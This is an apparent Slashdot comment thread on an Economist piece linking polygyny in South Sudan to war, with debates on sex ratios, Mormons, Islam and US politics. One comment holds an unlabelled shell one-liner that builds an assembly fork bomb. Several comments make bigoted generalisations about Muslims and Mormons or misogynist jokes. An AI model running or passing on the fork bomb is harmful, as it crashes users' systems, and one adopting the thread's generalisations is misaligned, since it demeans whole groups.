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The Link Between Polygamy and War (economist.com)
Is there a link between polygamy and war? The Economist explores (might be paywalled): Men in South Sudan typically marry as often as their wealth -- often measured in cattle -- will allow. Perhaps 40 percent of marriages are polygamous. "In [our] culture, the more family you have, the more people respect you," says William, a young IT specialist in search of his second wife. Few South Sudanese see the connection between these matrimonial customs and the country's horrific civil war. If you ask them the reason for the violence, locals will blame tribalism, greedy politicians, weak institutions and perhaps the oil wealth which gives warlords something to fight over. All true, but not the whole story. Wherever it is widely practised, polygamy (specifically polygyny, the taking of multiple wives) destabilises society, largely because it is a form of inequality which creates an urgent distress in the hearts, and loins, of young men. If a rich man has a Lamborghini, that does not mean that a poor man has to walk, for the supply of cars is not fixed. By contrast, every time a rich man takes an extra wife, another poor man must remain single. If the richest and most powerful 10 percent of men have, say, four wives each, the bottom 30 percent of men cannot marry. Young men will take desperate measures to avoid this state. A non-paywalled, syndicated source for the article.
The Mormons were violent when they practiced polygamy. Today it is not practiced by Mormons except for some fringe groups. One thing that is certain, young men without women are a problem regardless of religion.
This assumes there are equal numbers of men and women...
According to 2016 estimates of the South Sudanese population, the breakdown is about 46% men to 54% women. Hardly a huge imbalance with only about 12 million people.
Sensationalist trash like this perpetuates misunderstanding of polyamorous people.
How is it sensationalist, and how does it attack the polyamorous? It's not a mistake to believe that it will cause problems if there are no mates for many men. Denying them the opportunity to partner leaves them with a hole in their life. They're going to fill it with something. Polygamy is not inherently about love. It can be a loving relationship, but in a culture which promotes marriage for other reasons, that's unlikely. In a culture in which women have to marry a powerful man in order to be protected from other men, it's especially unlikely.
No culture that forces women to live in bags lest they be raped to death on the street can include any equitable relationships. There is always a power imbalance.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
To add, using a breakdown of only female to males age 15 and above the breakdown is pretty close to 50/50. So that sort invalidates your whole theory.
Data comes from: https://esa.un.org/unpd/wpp/Da...
Polygamy isn't responsible for violence. The Mormons, weird as they are, are not violent.
????? Want to check your facts on that? While that list contains incidents where Mormons were victims as well as perpetrators, they were pretty violent in the early days of the religion. Over the years Mormonism has gotten less violent (and also much less tolerant of polygamy, to the point now where it is no longer openly permitted if I understand correctly). It would be more fair to say that Mormonism has evolved so that it no longer promotes/tolerates violence nor polygamy, just as modern day Christianity mostly does not (barring of course evangelicals who are pushing for wars in the Middle East in order to start the second coming/rapture/Armageddon).
This is the issue for Islam: there are many within it that are resisting efforts to modernize the religion. If you want to fix things you can't demonize Islam, you have to support those within the religion who want to moderate and modernize Islam. Animosity and hatred only feeds those who seek to keep Islam in the past.
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
In a polygamous society war can produce a surplus of women. It certainly produces widows and orphans, which in a society with no state social welfare programs and limited economic opportunity for women is a huge problem.
Polygamy is also a way to establish dynastic ties between potential rival groups.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
If you consider ejecting young men out of your society, into a foreign culture where they are entirely unprepared to survive much less succeed to be nonviolent, then the Mormon practice of polygyny would be nonviolent.
Simply put, polygyny leaves the unmarried men at a significant disadvantage, and in authoritarian societies can lead to such expulsions, or outright violence. Mormons are not so inclined to murder their young men, so expulsion was the most common result. Recently only the fringe fundamentalist Mormon sects practice this, and with predictable results.
deleting the extra space after periods so i can stay relevant, yeah.
Que? You need to spell your logic out a little more there, I think. There's not a thing in this article that suggested women in these societies are ever in the top 10% of society.
Compared to the Atlantic slave trade, which was mostly men for work, the Islamic slave trade was mostly women for sex.
https://en.wikipedia.org/wiki/...
In contrast to the Atlantic slave trade, where the male-female ratio was 2:1 or 3:1, the Arab slave trade instead usually had a higher female-to-male ratio. This suggests a general preference for female slaves. Concubinage and reproduction served as incentives for importing female slaves (often Caucasian), though many were also imported mainly for performing household tasks.
In Islam you can have four wives and an unlimited number of sex slaves if you are male.
It's easy to see that polygamy and the inability of poor men to find a wife and thus legally have sex was a driver for this.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Look up the documentary "The lost Boys" on how the Fundamentalist Church of Latter Day Saints (a Mormson off shoot that practices polygamy) Literally kicks out excess male children. May not be a war, but it is violent and sick regardless, and that is here in the USA.
This article does not talk about modern Western polyamory. It talks specifically about patriarchal polygyny.
Either your reading comprehension is terrible, or you are butthurt polyamorist with a persecution complex.
Comment removed based on user account deletion
Okay Lennart, get laid already, I'll pay for a hooker weekly, just stop working on systemd
Custom electronics and digital signage for your business: www.evcircuits.com
That must be why Slashdot is the most peaceful website on the planet.
Repeat after me : Correlation is not causation.
For all I know, they have polygamy, because they have war, so the women who would be otherwise unwed due to the lack of men (because they died) have a change to get married.
Don't fight for your country, if your country does not fight for you.
... And I was disturbed about how the arguments really make good sense and how we looks way more "animal" than we would like when it comes to basic things like sex and family formation. As example has anyone seen in documentaries how a lions family works? Very similar, too much similar to my liking.
Religion: The greatest weapon of mass destruction of all time
Middle eastern culture transforms women (and men too to some extent, as servants or younglings who obey the elders) into property that can must be fought for and/or can be used for fighting.
Btw, I am saying it as an Israeli who's country is gradually adopting these perceptions due to orthodox jewish religion taking over.
Avantgarde Hebrew science fiction
For all I know, they have polygamy, because they have war,
Dude, it's not the 1800s. We have wikipedia. We have google. You can find out why they have polygamy. And guess what? They treat women like possessions all day, every day. They are legally inferior. Arguably, all women in their culture are slaves. Polygamy in their culture isn't a disease, it's a symptom of a disease.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Denying them the opportunity to partner leaves them with a hole in their life. They're going to fill it with something.
I wonder how the inability to get laid factors into someone's decision to strap on a bunch of explosives and take their chances on whether the 72 virgins story is bullshit or not.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
The Mormons were violent when they practiced polygamy. Today it is not practiced by Mormons except for some fringe groups. One thing that is certain, young men without women are a problem regardless of religion.
That's why we need more soy products. Since soy beans make you gay *I'm joking, but some people do believe that*, we should feed kids soy beans to all young boys in hope that many of them will become gay. More gay boys means fewer single males causing trouble because they don't have a woman.
The boys who survive being turned to homosexuality by soy beans can have all the women they want. It's a win-win for everyone. Except the women if they don't want to share men, but who cares what women want, they're second class citizens. *I'm joking about that, I don't believe that either*
"That's the way to do it" - Punch
Our current president tapped into them and it helped him win.
No, not really. Our current president got elected by people with money. We know this because polling shows that trump voters have on average a $10,000 higher median income than clinton voters even though they tend to live in more economically depressed areas. Not only would they be more affluent than clinton voters if you transplanted them, but they are vastly more affluent than their neighbors. Those red states are always bleeding money, with only a couple of exceptions, and have to be propped up by blue states. That means that the trump voters are especially well off for where they live, and will have no trouble attracting mates on that basis whatsoever.
Those guys are dangerous, but they did not provide any significant help to trump. He was elected by people with money who believed that he would help them keep their money. Ironically, most of them were wrong. They're going to get punched in the nuts by trump's tax plan in two years.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
But being gay is also a nono. They got their bases covered, you can't get out of the game: Get rich or die trying.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
As I posted on The Economist, it is not salacious polygyny but anything that upsets the sex ratio that becomes profoundly destabilising: [Poor] young men see the [few] young women of their villages swept away to better [city] prospects. They can hardly stop it. But it gives them powerful motivation to improve their standing, including by military adventure. A clever "leader" (Bo Xilai?) can tap into this. Most worrying are China's "empty branches", excess young men as a result of China's "one child" policy generating selective abortion/infanticide.
It's not like other religions are more keen on wanking, which would certainly take care of that particular problem.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
And as far as utility, I'm going to guess that the useful reproductive life of a female human - what, 25 years now, nominally?
Depends on how you determine it. If you count from puberty to zero viable eggs, about 30–35 years. Of course, most societies frown upon taking twelve-year-old brides, and even at eighteen, most women prefer to put off having kids until after college and perhaps even for a few more years while they get their careers started. If you start counting at twenty-five and stop counting when the birth defect rate starts to skyrocket, you end up at ten to fifteen years, which is way less than the average service lifespan of an expensive car.
The car analogy is actually pretty good. If there were a market for twice as many of a given luxury car brand at those prices, they would ramp up production to accommodate the demand (or maybe increase the price to reduce demand). By contrast, the only way to ramp up production of women relative to the number of men is to kill off some of the men. And this is what wars excel at doing.
Check out my sci-fi/humor trilogy at PatriotsBooks.
I've had a fair number or friends in open relationships/marriages over the years. I'm not interested in one, but it dosent bother me at all so I was fine being friends with them. Over the long haul, maybe 15 years, I've seen how these play out versus traditional relationships. In most cases, for awhile, the relationships were mutually acceptable to everyone. However, eventually a particularly outspoken and judgmental individual started making waves which didn't combine well with the few polyamorists who couldn't just be chil and laid back but instead made the drama worse. There used to be 50 or so of us in the social circle (20 or so were in non traditional relationships) but this fractured the group into roughly 3 groups even though many members were friends for 20 years. It's sad because we all used to go out and do things, and now that is ruined. People have enough trouble in a 2 person relationship, 3+ becomes far more complicated and unstable and is far easier to devolve into fighting the larger the group gets. While it's obvious you can't only blame polygamy for violence, having men take multiple wives and never the other way around, only creates a shortage of women and is just asking for younger males to become violent in competition.
According to what I've read, it's even stranger than that. In spite of there being an overabundance of single young men, there is an overabundance of unmarried women supposedly because men consider them marriageable once they reach age 30 or so.
Wh47 d1d j00 541, 31337 15n't t3h r0xor5 ne m0r3???
The multiculturalists are going to be up in arms over this comment. You should respect everyone culture, no matter how abhorrent it may be.
I don't have to respect the parts which are not just disrespectful, but actively harmful. I don't have to throw away the good parts because some parts are actively abhorrent, either.
I am not remotely against polyamory, polygyny, or polyandry when these lifestyles are lived by choice. I'm not even against wearing bags, given the same caveat. I believe that given a lack of force, natural tendencies will typically produce small relationship units. Most people seem to have little enough idea how to cooperate as a couple, let alone as a triad or beyond, and perhaps ought to get past that before they explore larger and more complex formal relationships.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Interesting that I was just thinking about the Chinese and the problem with gender imbalance. I have no idea why I was thinking about it but I was.
One thing I was thinking is that the Chinese would upend their entire culture if they practiced polygyny - one woman has multiple husbands. Suddenly the power shift would be towards the females since they could pick and choose their spouses.
What would happen if that were possible? If multiple spouses, regardless of the primary gender, was accepted? How would that go over in the male dominated societies when women suddenly held the power to decide who they would marry. What traits would they consider in spouses?
Just a random thought while riding the train into work.
It's not that eating soybeans makes you gay, you are fake news. However, soybeans contain active compounds called isoflavones- these are plant derived phytoestrogens, many of which mimic female hormones such as estrogen and estradiol. There are a number of studies that suggest that soy does indeed have an estrogenic effect on the body, which in turn decreases testosterone levels. Eat too much soy and it makes you less of a man.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
a woman is thinking, "Can this Man raise children with me?" and the answer is more often than not 'no, he can't hold a decent paying job'. Two $7.50/hr or even $9.50/hr incomes can't raise children.
/. post. I don't know what you think you're doing, but you're not helping yourself. At best your a foot solider in somebody's war, at worst your a patsy who's going to get fleeced. Wake up already.
Also, you're last comment is a standard 'what-about-ism' talking point of the alt-right's 'leadership' (I put that in quotes because it's hard to call somebody a leader when they're really just taking advantage of a desperate group to hit them up for money and cheap political power). You should be ashamed of yourself for thinking it let alone writing it in a
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
What part of the Mormons' involvement in the Mountain Meadows Massacre was considered to be "defense", do you figure?
Quo usque tandem abutere, Nimbus, patientia nostra?
No one identified the real problem. Let's not dance around the issue because we're afraid to tell it like it is. The violence is caused by Islam.
This got labeled troll but it's very true that if you show me a majority Islam country I'll show you a shitty country. Yes a country can be crappy without Islam being a factor but when Islam is a factor it's all but guaranteed to be crappy.
Watch yourself around Mormons. They all present as 'family/work/values, but it's sometimes pure bullshit.
There is a significant % that are just flatout criminals. Mostly in the higher echelons. It's been that way since the beginning. With such an _obvious_scam_, you know that their are wolves among the trusting morons.
Yes I know a number of ex-mormons. The 'Mormon mafia' is real, just well hidden.
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
Oh, you mean the "destabilization" that removed 98% of ISIS' territory out from under them (and dropped their fighters' numbers from a peak of 40k to less than 1k or so) starting when you-know-who took office and stopped micromanaging the whole affair from his desk?
Or maybe you meant the fact that Iraq is once again becoming stable after a certain previous president pulled out too early (on a massively flimsy excuse)?
Oh, maybe you meant the massive anti-Wahhabist royal purge/shakeup that recently occurred in Saudi Arabia after the rest of the royalty there realized that they're actually being watched and held accountable by the US, after decades of being ignored as the penultimate ideological source for all the jihadist garbage that's occurred for 50+ years now?
Perhaps you meant the impending removal of funding and support from Iran... you know, the folks who were busy finding Hezbollah and trying to make nukes in spite of promising on their bestest behavior not to?
Or could it be the fact that most of OPEC finally realized that they're no longer the petrol-soaked king-makers when it comes to geopolitcal affairs, and has to start playing nice with the rest of the planet?
The time to indulge this half-century-long aberrant behavior by various grudge groups in the ME is over, 'mano. By all appearances, they're realizing it fast and adjusting accordingly (c.f. Dubai)... so I doubt the old rules of analyzing the ME from left-wing eyes will apply for much longer.
Quo usque tandem abutere, Nimbus, patientia nostra?
What is the optimal number of spouses?
Two. Each will think I'm with the other. While I'm actually in the shop getting some work done.
Have gnu, will travel.
The problem with "reforming" Islam is that the typical way in which a religion is reformed is that someone, or multiple someones, goes back to the original scripture for that religion, ignores most of the tradition and interpretation which has grown up, and ossified, around it over the years, and freshly interprets that scripture. Doing that with the Islamic holy books is what gave us the basis for Al Qaeda, ISIS, and other groups which are promoting Islamic violence. It may be possible for a revival of Sufism to bring about the "modernization" you are calling for, but only time will tell. The original edge was taken off of the violence of Islam when it stopped working, when the expansion of Islam by conquest was halted and Islam's borders were pushed back.
The truth is that all men having power ought to be mistrusted. James Madison
It would be more fair to say that Mormonism has evolved so that it no longer promotes/tolerates violence nor polygamy, just as modern day Christianity mostly does not (barring of course evangelicals who are pushing for wars in the Middle East in order to start the second coming/rapture/Armageddon).
Where would you get the idea that Christianity promotes violence? I know that's a popular meme but as with so many memes it lacks a basis in facts. Please point me towards the New Testament verses promoting wars, I must have missed them. Along the same lines, please point me towards the New Testament verses promoting polygamy as I must have missed those too.
Where did I say that? I said most Christians don't support violence.
This is the issue for Islam: there are many within it that are resisting efforts to modernize the religion. If you want to fix things you can't demonize Islam, you have to support those within the religion who want to moderate and modernize Islam. Animosity and hatred only feeds those who seek to keep Islam in the past.
You do know that the standard practice for an invading Muslim army is to give the conquered people 3 options: convert, die, or become a slave. That's literally taken out of the Koran, it cannot be attributed to wayward followers. There is no reforming that as it's directly from Mohammed. I'm curious where you got the notion that Islam can be reformed.
citation:
https://www.thereligionofpeace...
The natives of South and Central America would like to have a word with you regarding forced conversions to Christianity. And Christian Crusaders would often kill, enslave, and/or rape the entire population of a sacked city, including other Christians.
You missed the entire point of my post: Christianity evolved past the violence of the Crusades (of course it took plenty of wars, persecutions, and inquisitions for it to do so). Islam needs to be given the time and support to do so as well, and that change needs to come from within.
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
Its mostly the other way around. A warlike culture has to either accept polygamy or accept lesbian marriage - children require a huge amount of attention and require multiple parents.
It is true that this kind of culture is slightly self-reinforcing, encouraging men to go to war to both maintain the shortage of men and collect the resources necessary to support the children.
But it is mostly the other way around.
Real polygamy takes too much work on the part of the man to be worth it for anyone not in the top 1% wealth wise. As such, while it is viewed as high status, it's actual presence does NOT lead to more war, but instead creates a desire for peace. And fishing. Lots of fishing. Anything to get away from the constant nagging.
excitingthingstodo.blogspot.com
It would be more fair to say that Mormonism has evolved so that it no longer promotes/tolerates violence nor polygamy, just as modern day Christianity mostly does not (barring of course evangelicals who are pushing for wars in the Middle East in order to start the second coming/rapture/Armageddon).
Where would you get the idea that Christianity promotes violence? I know that's a popular meme but as with so many memes it lacks a basis in facts. Please point me towards the New Testament verses promoting wars, I must have missed them. Along the same lines, please point me towards the New Testament verses promoting polygamy as I must have missed those too.
Where did I say that? I said most Christians don't support violence.
This is the issue for Islam: there are many within it that are resisting efforts to modernize the religion. If you want to fix things you can't demonize Islam, you have to support those within the religion who want to moderate and modernize Islam. Animosity and hatred only feeds those who seek to keep Islam in the past.
You do know that the standard practice for an invading Muslim army is to give the conquered people 3 options: convert, die, or become a slave. That's literally taken out of the Koran, it cannot be attributed to wayward followers. There is no reforming that as it's directly from Mohammed. I'm curious where you got the notion that Islam can be reformed.
citation:
https://www.thereligionofpeace...
The natives of South and Central America would like to have a word with you regarding forced conversions to Christianity. And Christian Crusaders would often kill, enslave, and/or rape the entire population of a sacked city, including other Christians.
You missed the entire point of my post: Christianity evolved past the violence of the Crusades (of course it took plenty of wars, persecutions, and inquisitions for it to do so). Islam needs to be given the time and support to do so as well, and that change needs to come from within.
I think we're somewhat in agreement but I want to clarify on the Crusades. They were a response, albeit delayed and not entirely pure in motive, to the Muslim armies having taken over large chunks of what used to be Christian areas. The popular narrative is that the crusaders came out of nowhere to attack the peaceful Muslims. That's just not accurate. As for the Americas, it wasn't right to force conversions. It also wasn't mandated by Jesus the way that Mohammed mandated that non-Muslims (Infidels) be enslaved / killed. That's a key distinction. I would say it's less a case of Christianity evolved and more a case that it got back to its roots. Islam cannot do this as the roots were always violent. It would take a departure from the teachings of Mohammed to actually get a peaceful Islam.
The multiculturalists are going to be up in arms over this comment. You should respect everyone culture, no matter how abhorrent it may be.
They are? Or are you just inventing strawmen to attack?
SJW n. One who posts facts.
See, one gets irritable.
Table-ized A.I.
No one identified the real problem. Let's not dance around the issue because we're afraid to tell it like it is. The violence is caused by Islam.
Too bad South Sudan is predominantly Christian. Islam is such a small minority that it doesn't even make the CIA World Factbook on South Sudan. There are more animists than Muslims.
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
I am Mormon and the church does teach that family/work/values. Do all members follow that? No. Are there hypocrites in the church, yes. Do they go all the way to the top, possibly. I've always said the best people I know are Mormon and the worst people I know are Mormon. A core principle of almost all religions is that almost everybody is welcome in Gods house. It is a great place for a wolf to hide.
What appealed to me in the Mormon church was how they treated other religions. e.g. most other religions are mostly correct but incomplete. Meanwhile I was taught in a baptist church that Mormons were going to hell for following a false prophet. You can't convince me that any God would send Mother Teresa, Gandhi, or any other "good" person to hell because they didn't belong to the right club.
You may mock me but I've been surprised at how many members are not as ignorant as many suspect.
So, what you're saying is that the leadership is made up of people who strong-arm their way to the top.
So there's this feller, and he's been found guilty of taking and driving away a Lada. The judge asks if there's any other offences he wants taken into consideration. He admits to bigamy and pirating Star Wars DVDs.
The judge let him off with a warning, saying that he'd already suffered enough.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
OId Joe translated several books from 'reformed egyptian' to English that were present in his King James bible old testament.
What was amazing about those translations: They had exactly the same mistakes present in Smith's King James bible, translation mistakes that are understood in the context of the original Hebrew.
How did that happen? It is 'statistical proof' that Smith just copied that part of the 'Book for Mormon'. Which doesn't even get into Smiths use of language from the era of King James (thy, thee etc) to do his 'translations'. He wasn't a particularly good liar.
Dumb, dumb, dumb, dumb...
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
True. I can wank with my other hand if I so choose without my house suddenly being gone.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Those splinter groups call themselves Mormons. Thus they are Mormons. Look at all the splinter groups of Islam and Christianity. They are still regarded as Islamic or Christian even by each other.
Why do you think your (most populous) splinter of Mormonism is a special case? What gives you a golden ticket?
You never heard of it? Jesus fucking wept, the actual article you're commenting on talked about it, you dumb fuck. It never ceases to amaze me how people like you proclaim your stupidity and ignorance as a badge of honour.
Oh, you mean the "destabilization" that removed 98% of ISIS' territory out from under them (and dropped their fighters' numbers from a peak of 40k to less than 1k or so) starting when you-know-who took office and stopped micromanaging the whole affair from his desk?
So IOW, that stuff was going to happen anyway, and Obama's strategy was the correct one. That some generals say "we're glad nobody is checking up on us" does not prove that this is what helped us get these wins against ISIS. In fact, that was Obama's doing, by choosing a correct strategy that eventually paid dividends. So that's one for Obama.
Or maybe you meant the fact that Iraq is once again becoming stable after a certain previous president pulled out too early (on a massively flimsy excuse)?
We destabilized Iraq under Bush by forced segregation of communities which were peacefully coexisting for the first time in decades without our influence.
Oh, maybe you meant the massive anti-Wahhabist royal purge/shakeup that recently occurred in Saudi Arabia after the rest of the royalty there realized that they're actually being watched and held accountable by the US,
But they aren't. Remember how the hijackers came from Saudi Arabia? Remember how Trump didn't bother to put Saudi Arabia on any of his no-fly lists, because oil money? The US is not doing the things you imagine.
Perhaps you meant the impending removal of funding and support from Iran... you know, the folks who were busy finding Hezbollah and trying to make nukes in spite of promising on their bestest behavior not to?
How quickly you forget that we created this situation.
Or could it be the fact that most of OPEC finally realized that they're no longer the petrol-soaked king-makers when it comes to geopolitcal affairs, and has to start playing nice with the rest of the planet?
Well, no. No it couldn't. But even if it were, that would have jack to do with Trump, and everything to do with additional sources of oil being exploited, which long predated his presidency.
The time to indulge this half-century-long aberrant behavior by various grudge groups in the ME is over, 'mano. By all appearances, they're realizing it fast and adjusting accordingly (c.f. Dubai)... so I doubt the old rules of analyzing the ME from left-wing eyes will apply for much longer.
Dubai is still one of the foremost abusers of human rights on the planet, and a center for slavery. But that's okay with your kind, I'm sure.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Do you believe that polygamy is only temporarily forbidden, that polygamy is common in the afterlife, and that God has multiple wives? If you marry and remarry in the Mormon temple, do you keep both wives in heaven? These are all mainstream Mormon doctrine. Mormons are polygamists at heart.
It's more complicated than that, and more nuanced. Polygamy is strictly forbidden in mortality as of 1890. You may have serial wives (eg. you may remarry after your previous spouse dies or if you get a divorce), but only one wife at a time. It would take a revelation to change this.
The true answer for the afterlife depends on your understanding of the afterlife. The Church of Jesus Christ of Latter-day Saints teaches that there are two realms in the Spirit World (paradise and hell) where we await judgment and the resurrection. We believe that all mankind will be resurrected. Upon judgment, we are sorted into three main kingdoms of glory while an insignificant number of individuals go to "Outer Darkness". LdS believe that families which are "sealed" in the temple are valid after death for all parties which make it into the highest kingdom of glory - the Celestial. Marriages don't exist in Outer Darkness nor the two lower kingdoms of glory (Terrestrial and Telestial).
Is polygamy practiced in the Celestial Kingdom? Yes, but only for those couples sealed in temples. Is it common? Probably not. At any given time, less than 10% of adult males in the LdS Church have practiced polygamy in the tradition sense. Even considering serial wives, many widowers are only sealed to their first wife unless the subsequent wife is not already sealed to a previous spouse. Women can only be sealed to a single husband. On top of that, I ask you a serious question: would it be heaven if you could not be with your family? If a widower gets remarried, do you expect him to choose which wife to have for eternity?
My own wife has threatened to haunt me if I remarry should she die before I do. As a loving husband I wouldn't do anything to make her eternity a hell.